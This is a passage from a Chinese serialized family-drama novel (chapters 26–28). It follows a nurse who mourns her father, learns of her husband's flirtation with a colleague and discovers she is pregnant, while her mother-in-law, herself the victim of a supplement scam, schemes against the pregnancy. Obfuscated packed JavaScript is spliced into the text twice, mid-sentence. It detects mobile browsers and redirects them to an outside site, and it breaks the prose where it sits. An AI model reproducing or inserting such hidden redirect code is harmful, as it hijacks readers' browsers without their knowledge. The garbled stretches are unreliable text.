柳漾悔恨交加,对她来说,柳志华是辜负妈妈的人,是不负责任的父亲,但对陈玉兰,也许是她一生中惟一爱过的男人。那时候,她为什么会那样面目狰狞地去反对? 晚上快九点,一个爹爹心包压塞,做了心包积液穿刺,但还是没救过来,他女儿喊着爸爸爸爸,跪地大哭,痛悔没让爸爸享到福就走了。柳漾止不住鼻酸,直到这时,她才清清楚楚地意识到,她爸死了。 葬礼当天,柳俊杰很依赖柳漾,赵东南问过柳漾,她是否已经和冯鹃达成和解,从此跟弟弟互相走动。柳漾不觉得有这个必要,她善待柳俊杰,不过是想到少年丧父可怜,这孩子跟他爸的缘分只这11年。但此时她想想自己,她12岁那年爸妈离婚,她和她爸的缘分,也只有这些时光,时光总是不够长,很多来不及做的事,就真的来不及。 26. 第 26 章 有板眼火锅城开业,柳漾以柳志华的名义送去祝贺花篮,下班后,她晃过去看了看,刚开业,优惠力度大,店里坐满了人,店外还有十几个人在等位。冯鹃主抓营销,秦飞出了大力气,请了专业公司在网上做推广,从场面来看,很符合“生意火爆”这四个字。 冯鹃的右脚好得差不多了,她说新开的茅厕三天香,这季节正值火锅季,她只求这半年能持平。柳漾问起柳俊杰,她愁眉苦脸:“年纪太小了,承受能力差,他哥在哄他。” 秦飞带柳俊杰来火锅店,见到柳漾和冯鹃居然能心平气和说话,颇觉惊奇:“我还以为你俩会吵得热火朝天。” 柳漾和冯鹃一起瞪他,冯鹃等柳俊杰进去吃饭,对秦飞文绉绉道:“有些人都尘归尘,土归土了,有些事也算了,来的都是客,对吧?” 柳漾参观店堂和后厨,冯鹃叫人给她炒两个菜,转身去忙,秦飞说:“你好像特别关心我妈的店。” 柳漾说:“你以为我想关心?你弟弟都喊我姐了,我得看着你妈一点,店里生意好,她以后才不会把你弟弟当成包袱甩给我。” 柳漾是故意呛声,但没想到秦飞很适应她这种风格,笑道:“你都说了,是我弟弟,我在,他就不会找你。” “这话我记住了。”店里坐满了人,两人在收银台边站着吃饭,三个老板都是摆摊出身,自己都能上手,只请了一个厨子,柳漾给赵东南打包了几道菜,开车回家。 秦飞找人弄到向雨恬的微信,成功加上了,时时偷窥她的朋友圈,但只是各种锦衣玉食,很乏味。 向雨恬的奶奶是大学通信学院的院长,桃李满天下,门生多担任通信行业高管,向父是技术骨干,几年前调到下面地级市电信公司担任副总。以向家在本省行业里的能量,给赵东南的岗位升级,或是调去更有发展的部门,轻而易举。秦飞打听到向雨恬的家世,似乎明白赵东南对她从未严词拒绝的缘故了。 向雨恬申请调到综合办公室,她去找赵东南,两眼泪汪汪:“我刚喜欢上你,就听说你结婚了,我知道不能打扰你,今天表白,只是想表达自己的心意,没有别的想法。你以后能不能不要躲我?我理解你想珍惜家庭,我并不愿意伤害她,但你总在躲我,我不想再为难你,只能走。” “在综合办好好做事。”赵东南起身出门,去查看主干光缆布放情况,却心浮气躁,看了一圈就走人,回香榭水岸拿冬衣。 话赶话的,赵东南和张玢吵起来了,他本不想跟柳漾说,但架不住柳漾审问。柳志华葬礼那天,张玢发觉柳漾和柳俊杰和睦相处,趁这次见面,她勒令赵东南让柳漾和她弟弟那边划清界限。 连陈玉兰都容得下柳俊杰的存在,张玢未免也太小肚鸡肠了,柳漾明确地告知:“我弟弟的事,是我的事,绝对不找你家麻烦,你让你妈放一百二十个心。” 赵东南安抚了她半天,但他想有进一步举动时,仍被柳漾拿开手,虽然决心原谅他,但身体仍在抵触,她想她还需要时间。 柳漾下一个小夜班,沈母来了。下周是沈父生日,往年每到这时,沈维都会准备生日宴,拉着她妈逛商场,给她爸添两件冬衣,今年家里冷冷清清,两老对坐哀叹。 冯鹃那句“你是她妈,你批评她就是欺负她,你跟外人有什么区别?”让沈母有所启发,她反省了,以前对沈维太过求全责备,她向柳漾认错,“你转告维维,我和她爸爸是把她逼得太狠了,以后一定改。” 沈维想念父母,但她认定所谓反省是表象,她在家的时候,父母也经常气呼呼道:“算了算了,你想怎样就怎样,我们不管你。”但少则十天,多则一两个月,就又四处求告,让亲朋熟人给女儿介绍对象。 柳漾代表沈维请沈父吃饭,约在了有板眼火锅城,正好去感受感受菜式水准。火锅店的生意越冷越好,门前等位的人挺多,冯鹃给他们三人腾了座位。柳漾点了火锅和几道小炒,味道都很不错。 秦飞下班就回家,客串叫号员,让服务员给柳漾这桌送来一壶佬米酒,本省人爱喝这个。沈父两杯酒下肚,很忧愁,过完年,沈维就28岁了,一个女孩子飘在外头不是办法,柳漾按下一万句腹诽,只说沈维并不想漂泊在外,但不想被催死,沈父不说话了。沈母打圆场:“知道,知道,保证不催她了,坚决不催了。” 临窗的座位能看到外面的秦飞,他好像有心事,没人找他的时候,他就闷头发呆。吃完饭,柳漾喊冯鹃结账,冯鹃给她打了六折,还抹了零,她顺嘴一问:“秦飞怎么了?” “你问他,我没空问。”冯鹃细细地询问了对火锅和菜式的意见,把三人送出门,柳俊杰来了,喊柳漾为姐,沈家父母才明白这是谁家的店,都有点难堪。 柳漾送沈家父母回家,回来时路过有板眼火锅城,饭点已过,门前只剩十来个人在等位了,店堂坐满了。秦飞靠着身后的橱窗,一下一下地按着打火机,心事很重的样子,柳漾把车停到门口,按了一下喇叭,秦飞走过来:“不开心?” 柳漾说:“是你不开心。” 秦飞迟疑了一下:“要不要去大桥上走走?” 柳漾不想吹风,但秦飞一向对她挺够意思,她舍命陪君子便是:“上车。” 车停在阅马场,柳漾戴上帽子和手套,揣着暖手宝,踱去长江大桥。秦飞见她全副武装,过意不去:“早晓得你这么怕冷,就不喊你出来了。” 柳漾遗传了陈玉兰的偏头疼,吹不得风,她问:“什么事这么不开心?” 秦飞倒也没大事,只是今天从阿豹的朋友那里听说,蒋馨月有了新男朋友,一时有些惆怅。如果蒋家嫌他家世差,他努努力,多挣点钱,还能扭转局面,但他们嫌的是他爸,他爸是抢劫犯,还撞死了人,这是客观事实,他改变不了。 所有拿父母意见当理由的人,本身对这段感情看得没那么重,但实话伤人,柳漾只说:“各有各的难处,分手也是没办法的事。话说回来,嫌你的人,总能找到嫌你的理由,不是嫌你这,就是嫌你那。” 柳漾拿张玢举例,开始嫌她是单亲家庭出身,但她爸妈复合了,张玢并不会道歉。要是赵东南不敢为她跟家里抗衡,早就是前男友了,走不到结婚。 秦飞问:“赵东南一直站在你这边?” “他跟他妈闹翻了,最近跟我在我娘家住。”柳漾的语气里似有欣慰,秦飞的不安感加剧,他觉得自己那点事不算事,眼前的柳漾才是可怜的。男人能为她对抗家庭,却未必能为她抵抗来自另一个女人的诱惑。 直言相告,会不会是在拆穿她辛苦维持的体面?她说不定早已发觉,但选择隐忍。秦飞踌躇一阵,又把话吞回去了,把蒋馨月新交往的男朋友说成是跟劈过腿的前男友复合,刻意试探柳漾。 柳漾说:“怪不得你不好想。” 秦飞问:“结了婚的人是不是比谈朋友更瞻前顾后些?以你妈对老柳的感情,如果我妈当时没怀杰杰,你妈该不会离婚吧。” “我想是吧。”长江大桥上总有散步的人,两人慢慢走着,秦飞说起曾经和柳志华在这大桥上的长谈,半路父子当了十来年,但那是记忆中惟一一次称得上“沟通”的谈话。 一座楼,哪怕会被风雨侵袭,被闪电击中,甚至毁于战火,但因为那几首著名的诗,再过一千年,它还活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592034|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,但与之交过心的人,却只活了短短50年,从此只能活在他的至亲至爱心里。 柳漾越发遗憾,很多人被生活推着被迫向前,但他们真正用于燃烧的生命,只发生在年轻时代,她早该接受她爸妈复婚,对也好,错也罢,总归是让陈玉兰无法释怀的情缘。 秦飞静看江水,艰难地问出口:“你爸对你妈是货真价实的背叛,还有个那么大的伢,你妈复婚,你看得惯吗?” “说直点,我到现在还是理解不了,但也只能接受。”这些天,柳漾时刻在想,不论柳志华有多不值得,其实陈玉兰都比她活得有主见,凡事都料理清爽,自己去承受一切,女儿和别人理不理解,接不接受,都不会影响她什么,复婚是她想做的事,她就去做了,仅此而已。 风渐渐大了,柳漾回到车上,秦飞帮她开了空调,她看出他在欲言又止:“你今天忽然跟我说这些,是在提醒我什么吗?” 秦飞挣扎半天,决定说实话。里外不是人就不是人,他想对柳漾讲点义气,不能让她被蒙在鼓里。他告诉柳漾,他见过赵东南和向雨恬暧昧,但最近赵东南似乎在收心,疏远了对方。柳漾沉默半晌,问:“她是不是很温柔?” 向雨恬妆容很浓很精致,穿衣风格甜美娇柔,整个人看上去像橱窗里的漂亮娃娃。娃娃通常是被人捧在手心,要人哄的,她必然不温柔。秦飞问:“为什么以为她是温柔型的?” 柳漾烦闷道:“我跟他感情最好的时候,不可能发生那样的事。但是这几个月,我又是考试,又是我爸的病,还有他妈也很烦,我脾气很大,对他一句好话也没说过,我以为……” 赵东南工作不顺心,媳妇和妈还整天闹矛盾,一个温柔的小女孩能带给他些许安慰。秦飞听懂柳漾的意思,摇摇头:“我没觉得你不温柔,你对病人和家属都很周到细心。” 柳漾说:“对工作当然要敬业,去看急诊的人,哪个不是身体有点毛病的,本来就不好受,我再对她发脾气,她不是更痛苦了?但我对东哥总是忍不住发脾气,其实不应该这样,越是自己人,就越要对他好。” 秦飞说:“不能光是你一个人这样想,他也得这样想。” 柳漾又沉默了,听完一整首歌才说:“有句话说,婚姻是要经营的,我以前觉得是句废话,合适就是合适,不合适怎么调整都不合适,但我现在想,我脾气可能确实大了点。我结婚那天,连我妈都说我脾气冲,可能是要改吧。” 秦飞却说没必要,这个世界上没几件事是一成不变的,也没几个放之四海而皆准的真理,温柔不是每个人被爱的理由,否则大家修炼温柔这一个技能就大杀四方了,但事实并非如此,喜欢酷的,干练的,狠的,都大有人在。 刚相识时,柳漾对赵东南说过,她脾气很不怎么样,但赵东南依然被她吸引,还说他就喜欢她这种有个性的,她茫然地看向车窗外,秦飞说:“再说了,温不温柔都不是他挑剔你、伤害你的理由。结了婚,就得忠于另一半,这件事,是他在伤害你,不是你伤害他,所以不是你的问题,不用改。” 柳漾转过头,深深地看着他,然后说了谢谢,还感叹本来是想安慰秦飞,却变成秦飞安慰她,秦飞见自己这番话有效,笑了:“等我下次想不开,换你安慰我。” 柳漾开车送他回家,再回自己家,笑意轻松:“当然了,朋友就是互相吹捧互相安慰的。” 被柳漾当成朋友了,秦飞很是高兴,下次赵东南还敢再对不起她,他就提拳上了。结了婚,就不能再左顾右盼,就该让自家女人过得幸福,好的物质条件可以一起一点一滴地创造,但给不了安全感,赵东南枉为人夫。 27. 第 27 章 等到火锅店的生意稍微理顺了些,冯鹃想带柳俊杰去扫墓,秦飞担心她和陈玉兰起冲突,悄悄找柳漾,柳漾说:“她哪天去,我让我妈回避。” 只要冯鹃和陈玉兰王不见王,秦飞就放心了,星期六上午,柳俊杰做作业,他和冯鹃在店里后厨忙着,聊聊旧事。 赵东南和向雨恬勾搭的起因,秦飞无从打听,但冯鹃和柳志华从兴趣到性格也是八竿子打不着的人,他很好奇。 冯鹃连跟柳志华离婚都没对她两个姐姐说,平时没有第二个人关心她和柳志华相识的经过,她爽快答了。 那年秦飞在念初中,五月下旬就热得不行,电扇不管用,他中暑呕吐,吐得满脸狰狞,毛细血管都挣破了,满脸细小红点密布,冯鹃买了空调,安在他卧室。 秦飞当然记得中暑一事,问:“老柳来安空调?他不是售后的吗?” 冯鹃说:“同事病了,他顶班。” 谁也无法预知,命运会在哪里拐个弯。不是那天中暑,是另一天,来的人可能就不是柳志华了。秦飞吃力地回忆,打他记事起,他妈就在开公汽,开得横冲直撞,她当大姑娘时就很壮实,生了他胖了两圈,再没瘦下去过,从外表到谈吐,她都不像勾得了柳志华出轨。 陈玉兰家摆着一只相框,是一家三口的合照,照片中的柳漾才几岁大,被柳志华抱在怀里,旁边的陈玉兰生得秀气,白皮细腰的城里姑娘模样,秦飞想不通他妈哪一点能吸引柳志华:“你勾搭他的?” 冯鹃拍桌:“互相的!” 秦飞挑眉:“说来听听。” “不记得了。”冯鹃找个借口出去了,秦飞在后厨笑半天,他妈也有害臊的时候,但是怎么个互相勾搭法,他想不出来。 中午早早地吃完饭,一家三口去了团风。天冷,下了几次雨,坟前的花圈有些退色了,但插得正,坟墓上连片落叶都没有,显然被人精心照料,冯鹃哼道:“七七四十九天都过了,她还不走,倒是清闲。” 秦飞替陈玉兰解释,柳漾和婆婆不合,搬出来和她男人住娘家,两人想等过年发了年终奖去买房,陈玉兰索性就在团风住,等他们买了房再回武汉。 女婿摆不平婆媳问题,跟着媳妇住丈母娘家,说出去不对味,陈玉兰这是在照顾女婿自尊心。冯鹃嗤笑:“先头还总夸找了个好女婿,我看不怎么样。” 柳俊杰说:“我觉得姐姐的婆婆很高傲,谁跟她说话,她都假笑。” 冯鹃笑骂:“跟你爸说说话。” 柳俊杰悄然对柳志华说心里话,冯鹃低眉看着坟茔,不记得的事,都还记得。柳志华敲门,弯腰戴上鞋套,先去秦飞卧室看看,再绕到阳台,观测安装位置。阳台上金银花爬满了防盗窗,他顺口夸花香,冯鹃却只顾看他,这人穿着很普通的维修工制服,但走路昂首挺胸,板板正正的,精气神很好。 她后来才知道他当过兵。当天温度高达39度,柳志华出了一身透汗,冯鹃出门,找楼上一户装修人家借了三脚梯,把电扇架上去,自己躲到客厅里看电视,过一会儿再看,柳志华的制服衬衫汗透了,巴在身上。 柳志华安好空调,冯鹃端给他一碗薄荷金银花茶,让他清清火。她放在冰箱里冰了一阵,柳志华一饮而尽,冯鹃留他吃饭,他说她太客气了,冯鹃说稀饭熬多了,吃不完浪费,柳志华就坐下吃绿豆稀饭,夸她连辣萝卜都做得好吃,能开饭馆。吃完饭,他主动把碗洗了,看到煤气灶只有一个眼能打火,顺手修好了。 冯鹃上完厕所出来,惊觉连灶台都被擦得一尘不染。这男的被他媳妇教得好,她心里有点酸,又有点心痒。隔了两天,她给柳志华打电话:“灶台上有个打火机,你落下的吧?” 柳志华不抽烟,冯鹃数了几秒,他没回答,她飞快地说:“星期五我放假在家,你来拿。” 那天下午,柳志华来了。一进门,就互相抱住对方。有些话永远秘不可宣,他们能在一起,可能就因为彼此存在吸引力。 秦刚长期留宿在□□,他们无所顾忌。冯鹃问过:“在别家修空调,让你吃饭你也吃,还洗碗,还修煤气灶,还假装打火机是你落的?还为一个打火机跑来一趟?” “鬼使神差。”柳志华被冯鹃逼着承认,他在卧室安好空调,出来看到她在阳台摘金银花,还随手掐了几片薄荷嫩叶嚼着,头顶晾着内裤和裙子,她身穿的短袖衬衫汗塌了,勾勒出胸罩带子,他当时莫名想到《红楼梦》里描写宝钗的一句话:“一弯雪白的膀子。” 这女人丰满白嫩,比陈玉兰还白,柳志华这样想。然后他喝到那杯沁人的冰水,这女人看着粗枝大叶,心还挺细,他不敢多想,却经不起她留。她身上热烘烘的气息,让他想多待一会儿。 如果没有那通电话,也许不会有后续,但那天之后,两人都失眠了。跟一个人睡得好原来是这样的感受,活跃,旺盛,丰盈,热情,这些词,都懂了。在柳志华被诊断出胰腺癌之前,这件事上他们始终很好。 花圈上的红色被雨水冲刷,褪成了粉红,冯鹃伸出食指抹了抹,柳志华只活了50岁。他们之间的万有引力,被死亡隔成了永远的阻力,她没忍住眼泪,一长串一长串地滚滚而落。对第二个人说不出口的事,一生都不能说了。 回到武汉,晚上火锅店打烊,秦飞帮冯鹃算账,笑话她:“摔倒那次就问你,是不是喜欢他,还不承认,下午哭成那样。” 冯鹃仍不承认:“想到我23岁就没了爸,杰杰12岁就没了爸,再一想,你也是十几岁有爸等于没爸,我们一家真倒霉。” 秦刚明年就出狱了,秦飞不想提起这人:“我不倒霉,情愿不认得他。” 冯鹃合上账簿,拍拍手:“倒霉就倒霉吧,倒霉个彻底,就否极泰来。” 秦飞跟她碰碰茶杯:“泰来,泰来。” 杰杰再也没爸爸了。秦飞忽然想,那个坏脾气小辣椒也没有了,她从12岁起就在单亲家庭长大,很需要温暖和陪伴,但愿赵东南不再负她。 院方通知,柳漾考试成绩良好,从明年元月起,她会升为主管护师。宋青等好友都为柳漾开心,在小饭馆聚完餐,说说笑笑去上班。 后半夜,柳漾冲去卫生间吐了两回,却是干呕,什么都没吐出来。她以为天气冷,胃里着凉了,但迎面来了一个孕妇,她神色一凛。 试孕棒给出准确答案,怀孕了。柳漾算算时间,是她还在香榭水岸住的事,她和赵东南每次都做了措施,但人算不如天算。 孩子不在计划内,柳漾喜忧参半,职称刚评上,短期内很难再晋升,是否该顺应天命,进入人生新旅程?天亮后,她跟陈玉兰说了怀孕的事,陈玉兰想马上回来照顾女儿,柳漾说:“我还没想好。” 陈玉兰愣住了,打来电话:“你和东南吵架了?” 孩子来得未必赶巧,柳漾烦了起来,陈玉兰只好让她跟赵东南商量,她继续在团风住,不给两人添乱,如果柳漾需要她照料,她当天就回武汉。 柳漾做婚检时查出子宫内膜薄,医生不建议轻易堕胎,而且流产太伤身,可是留下这个孩子,她没做好心理准备,甚至连备孕也没做。自从发生吻痕事件,她就不让赵东南碰她了,但那时孩子其实就已经怀上了。 沈维收到柳漾的信息,只有四个字:我怀孕了。沈维盯着它看了两遍,这句话看上去不辨悲喜,说明柳漾还没能完全过去那道坎,她问:“打算怎么办?” 柳漾说:“我想了一上午,倾向于生下来。” 她想要就要,沈维不提反对意见,这年头,有手有脚,还怕养不活一个孩子不成,她说:“我是第一干妈。” 柳漾说:“你是惟一的干妈。” 晚上,柳漾洗完澡蜷在沙发上发呆,赵东南给她倒牛奶,她喝了两口,恶心感又涌起,冲进卫生间吐。 赵东南跟进来,问她怎么了,柳漾不理他,拿水杯漱口,又是一阵难受,赵东南福至心灵,问:“该不会是怀孕了吧?” 柳漾没回答,拿纸巾擦嘴,但不否认,那就是了,赵东南高兴极了:“漾漾,漾漾!” 柳漾从镜子里看他,他激动得搓着手,喜形于色,她心头一软。赵东南抱着她亲了又亲,柳漾终于不抗拒他了,这个孩子来得恰逢其时。 赵东南在餐厅定了包厢,他说有重大好消息要宣布,张玢以为他正式成为网建部一员,得知柳漾怀了孕,她神色悲喜莫辨。赵捷成自然乐哈哈,反正每天腾出半小时逗逗孩子,他就是和蔼可亲的好爷爷。 赵东南沉浸在喜悦里,给柳漾夹菜:“我妈被巨大的喜悦冲昏了头脑。” 柳漾吃吃喝喝,不驳他的面子,虽然她不明白张玢为何态度大变。早在去年,婚事提上日程,张玢就聊过孩子问题,听说两人暂时不生,她很反感:“吃避孕药对身体不好!” 赵东南不便跟他妈说戴安全套之类,含糊道:“从我这里想办法。” 张玢背地里找上柳漾,翻来覆去就表达了一个观点,早点生孩子,身材恢复得快,柳漾主观客观原因都解释了,张玢坚持说:“女人生来就是要生伢的。” 柳漾说:“我们医院每天都有看不孕不育的,而且问题大多出在男的身上,做试管婴儿都不行。” “他们那是没办法,而且在积极争取。你这是没有困难就制造困难。”张玢斩钉截铁,祭出司空见惯的说法,“女人不生伢,人生不完整。” 柳漾笑出声:“我可能到死也当不上世界首富,开着私人飞机环游世界,我的人生也不完整。” 张玢驳回:“你这叫抬杠。” 你那也不是人间真理,柳漾懒得多费口舌,但仍被张玢摆了脸色。沈维不止一次替柳漾骂过她:“我连婚都不结,我要是她女儿,可能被她乱棒打死。” 吃完饭,柳漾独自叫车回娘家。赵东南送父母回香榭水岸,张玢有情绪,他看得出来,柳漾更看得出来,不怪她连话都不和张玢多说。等柳漾一走,他就问:“催我们生伢的是你,有想法的还是你,你到底什么意思?” 张玢只说有些突然,担心他没戒烟戒酒,孩子有健康问题,更怕孩子遗传到柳志华不好的基因,那就完蛋了。 赵捷成很无语:“就你想法多。” 赵东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592035|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南也有怨气:“连我都被你逼得只能出去住,你到什么时候才能反省一下?” 赵东南长得帅,重点中学到重点大学一路读过来,张玢引以为傲,但他只找了家境贫寒的小护士,张玢的期待落了空,赵捷成劝过:“这就是他的缘分,他找个家庭条件好的,整天对你呼来喝去,好逸恶劳,你怎么办?” 张玢说:“漾漾没少对我呼来喝去!家里还穷,我一样也没图到。” 柳漾怀孕是好事,但张玢一听就沉下脸,扫兴,赵东南有怨言:“妈,你嫌我找漾漾吃了亏,你心理不平衡,我问你,你以为我条件有多好,找得到让你称心如意的那种人?” 被父子俩齐齐批斗,张玢脸气得红一阵白一阵的,冲口而出:“你们单位那个小向呢?” 赵东南不吭声了,赵捷成一头雾水,看看张玢,又看看赵东南,张玢心下透亮,赵东南不解释,他和向雨恬绝对有点名堂,她得帮他打气:“小向家里条件那么好,不也喜欢你?” 赵东南把车停到辅路,狠狠问:“你怎么晓得她?” 柳志华葬礼上,电信公司来了几个漂亮小姑娘,张玢看得满心酸意,赵东南晚一点结婚就好了。柳漾忙着招呼亲朋,张玢忙着看漂亮小姑娘,越看越认为向雨恬和赵东南之间有事,她单位的小年轻对男人发骚都那样。 随后张玢暗暗去瞧了几次,向雨恬不介意赵东南结了婚,可见动了真感情。小女孩认了真,就会发疯,一家子人都拉不回来,她正期盼儿子一举得手,柳漾怀孕了。张玢被一盆冷水从头淋到脚,赵东南只是离异身份,向雨恬坚持,向家还可能接受,但离异还有孩子,难度就增大了,哪家父母同意掌上明珠给人当后妈? 即使孩子归柳漾抚养,赵东南也不可能完全不管,在法律意义上,他是一个孩子的父亲,这会是他和向雨恬在一起最大的阻碍,张玢犯了难。 赵东南把父母送到小区门口就走了,赵捷成叹气:“哪有你这样,吃着碗里的,看着别人锅里的。” “那女孩家里是什么条件,你懂什么?”张玢悔得肠子发青,不催赵东南结婚就好了,如今跟柳漾就是提个分手的事。 老谢家的刘宇翔找了富二代,一跃成了人生赢家,向家条件比富二代家还好,爷爷奶奶是高级知识分子,外公外婆是开工厂的,光是在楚河汉街就有十几家商铺,向雨恬是两边惟一的孩子,赵东南怎么就这么倒霉,只要晚半年结婚,他的人生就完全不同了。 张玢睡不着,翻来覆去的,赵捷成被她弄烦了:“催他结婚生伢的是你,怪他结婚生伢的还是你。” 天明之际,张玢想出了办法,赵东南对向雨恬也有心思,所以只要他劝柳漾拿掉孩子,他和向雨恬就仍有可能。柳漾刚怀上,B超看不出所以然,张玢决心实施怀柔政策,先让小两口放下警惕,等到稍微查出一点异常数值,就以柳志华的胰腺癌为由,说服他们放弃孩子,再细致备孕,以后再生个健康宝宝。 张玢让小两口回香榭水岸住,赵东南转述给柳漾:“我妈说前三个月很危险,让你回家住,她多炖点汤汤水水。” “前三个月很危险,我想过得舒心点。”柳漾让赵东南回绝他妈,至于说辞不用她操心,赵东南会摆平。 柳漾怀孕是大事,赵东南宴请爷爷奶奶,外公外婆,济济一堂,举杯共庆。吃完酒宴,柳漾回团风,跟陈玉兰一起到坟上给柳志华报喜。孩子来得突然,不在计划内,但是意外之喜,她决定生下来。 陈玉兰说:“你喊一声我就回武汉。” 柳漾嗯了一声,手抚在小腹上,腹部仍很平坦,但已在孕育新生命了,她冲着墓碑说:“你说你这个人,晚一点死,就能看到你外孙了。” “他肯定能看到。我这几天又梦到他了,所以他还没去投生,那就还是一家人。”陈玉兰见柳漾心情不错,问起感情问题,柳漾大方回答了,她和赵东南之间是发生了一些事,但通过这段时间的考察,她想再给赵东南和自己一个机会。 大伯和大伯母炒菜煨汤,祝福柳漾走进人生新阶段。柳俊杰听堂哥说柳漾怀孕了,借冯鹃的手机给柳漾发了红包:“我妈让你来喝汤。” 柳漾很喜欢冯鹃卤的鸡爪和干子,回武汉绕去有板眼火锅城,但没吃两个就作呕。冯鹃拧开自己的零食罐,让她吃陈皮,满脸堆笑:“你爸要是晓得了,绝对要高兴得跳起来,他有次还说梦见你生了伢,糯米团子样的,他怕摔着,抱都不敢抱。” 秦飞下班回火锅店吃饭,柳漾在喝汤,跟服务员说说笑笑。柳俊杰向他通报过柳漾怀孕的消息,他端着菜过来,跟柳漾面对面地吃。柳漾等他说恭喜,但他没说。 柳漾意外于秦飞的反应:“你弟弟是我伢的舅舅,你也算我亲戚,不该祝贺我吗?” 蒸碗里还剩两块牛肉,秦飞都夹给她,不以为然:“一般女人不都能生伢吗,这有什么了不起的。” 这些天,秦飞仍在窥探向雨恬的朋友圈,貌似正常,但他不确定赵东南和她断干净了没有。连他以前都看到过两人暧昧,没被他看到的时候呢?柳漾怀孕,他祝福个鬼。 28. 第 28 章 赵东南学习做新手爸爸,买回书籍对照执行,每天按时回来做安胎饭菜,柳漾下班就能吃上。 赵东南以前只给柳漾打过下手,从没独立做过饭,失败了几次终于上了道,柳漾夸他,他挺谦虚:“设备好,汤料包好,花花也能做成功。” 花花是赵东南外婆养的橘猫,柳漾扑哧笑,手机响起,张玢发来语音信息,语气很软和,她买到很好的藕,让柳漾明天回香榭水岸吃饭。 赵东南很高兴:“我妈主动求和,不容易。” 柳漾冷哼,求和也得有诚意,她从小到大都不大吃排骨,排骨藕汤更是一口不喝,还被张玢笑过:“不喝藕汤,也不爱吃热干面,你还是不是本地人?” 柳漾说自己口味偏甜,但张玢从未听到心里去。第二天中午,到了香榭水岸,张玢连铫子一起端上桌,盛出满满一碗要端给柳漾,被赵东南接过去:“妈,漾漾不吃排骨。” “那不行!怀孕了,饮食营养要均衡,多喝点骨头汤,补补钙。”张玢执意把汤碗推到柳漾面前,柳漾故意做个恶心欲吐的表情,推给赵东南了。 赵捷成给柳漾夹清炒红菜苔,柳漾爱吃这个,他笑道:“你妈妈在菜场买的洪山菜苔。” 吃完饭,柳漾和赵东南合作收拾碗筷,张玢破天荒让赵东南干活,喊柳漾去书房,说要给她好东西。柳漾进屋一看,书桌上几十盒保健品,一问价格,她咋舌。张玢自知理亏,从头说起,她体检查出高血压,小区门前搞展销,免费咨询检测,她去查了,跟医院结论一样。 保健品厂家搞讲座,张玢做了笔记,促销员小李大学刚毕业,嘴甜爱笑,人也细致,一来二去,张玢找她买了这些保健品,每天按时按量吃。上周日,小李推销磁疗室,既能磁疗又能抗衰,但售价三万八,这还是给干妈的优惠价,张玢犹豫不决,想游说同事老谢等人团购,折扣还能再低点,谁知道老谢指出她被骗了。 张玢不信,老谢的儿子刘宇翔在网上查了保健品的价格,一盒65块,但干女儿卖给张玢一盒368块。张玢气得找小李算账,小李挂了电话,再打过去,打不通了。张玢报警,但双方都自主自愿,不是强买强卖,公安部门追究不了。 柳漾匪夷所思,张玢嫌超市的鸡蛋比菜市场贵,每次都去菜市场买蔬菜生鲜,有时还跑去汉口那边的批发市场,儿媳买一盒三文鱼,她都气得砸筷子,竟会把推销保健品的骗子当亲人。她以为张玢要她帮忙找那个小李算账,但扯皮的事她没兴趣,推得一干二净:“派出所都解决不了,我和东哥也没办法,就当吃亏买教训吧。” 张玢不肯吃亏,她想通过柳漾找医生帮忙,把这批保健品开给病人,卖出去,让她少亏一点儿。柳漾震惊:“医生开药都是进系统的,没有私下卖药的权限。” 张玢说:“你找几个关系好的医生,举手之劳的事。这药是正规药物,网上有旗舰店,病人吃了不会出问题,开给有医保卡的病人就行。” “关系再好,饭碗更重要。”柳漾算了一笔账,张玢亏了大概五千多块钱,她倾向于算了,张玢仍不死心,又生一计,“医生不敢开,那就去找你们管医药采购的,他们拿谁的回扣不是拿,我也给回扣!” 柳漾气笑了,张玢屡屡鄙视她是小护士,儿子找她吃亏了,现在却以为小护士的面子很好使,她喊进赵东南,赵捷成一看张玢脸色不豫,赶紧也过来。 赵捷成只知道张玢认了干女儿,人很贴心,定时陪她聊天,分享商场和超市打折信息,听说赵东南的外婆有糖尿病,还摘录了糖尿病人的食谱,打印成册送来,张玢做梦也没想到,嘴甜如蜜的外地小女孩铺垫了几个月,就为赚她这几千块钱。 “她说我面善,让她想起她妈,她十几岁,她妈就得病死了,她发奋读书,考上医学院,做人很有礼貌……”张玢悔不当初,但振振有词,药本身没问题,她提早预防治病,是为了给小辈减轻负担,她身体好才能帮柳漾带孩子,所以这个药,柳漾得出力。 给她当儿媳妇,不如一个口蜜腹剑的骗子,柳漾说:“东哥,妈心疼这钱,你转给她,让她忘记这件事。” 赵捷成说:“我出,我出,我也一起吸取教训。” 一屋子人,没一个帮自己的,张玢怒冲冲回卧室,砰地关上门。赵家父子互相看看,赵东南无奈,拧开把手去哄,但没两分钟就吵起来了,赵东南横眉怒目地出来,抓过柳漾的手,冲他爸道:“我早说过,各人的媳妇各人哄,她归你管了,我们走了。” 夜里,柳漾睡去,赵东南怔怔看她。他妈向来小精明大糊涂,并且不怯于丢脸,他小时候,赵捷成在文具店买了一只钢笔送他,张玢嫌贵,去找售货员退,不退就据理力争,连说一小时不停歇,逼得售货员退货退钱,再去买她认为好写又便宜的笔。 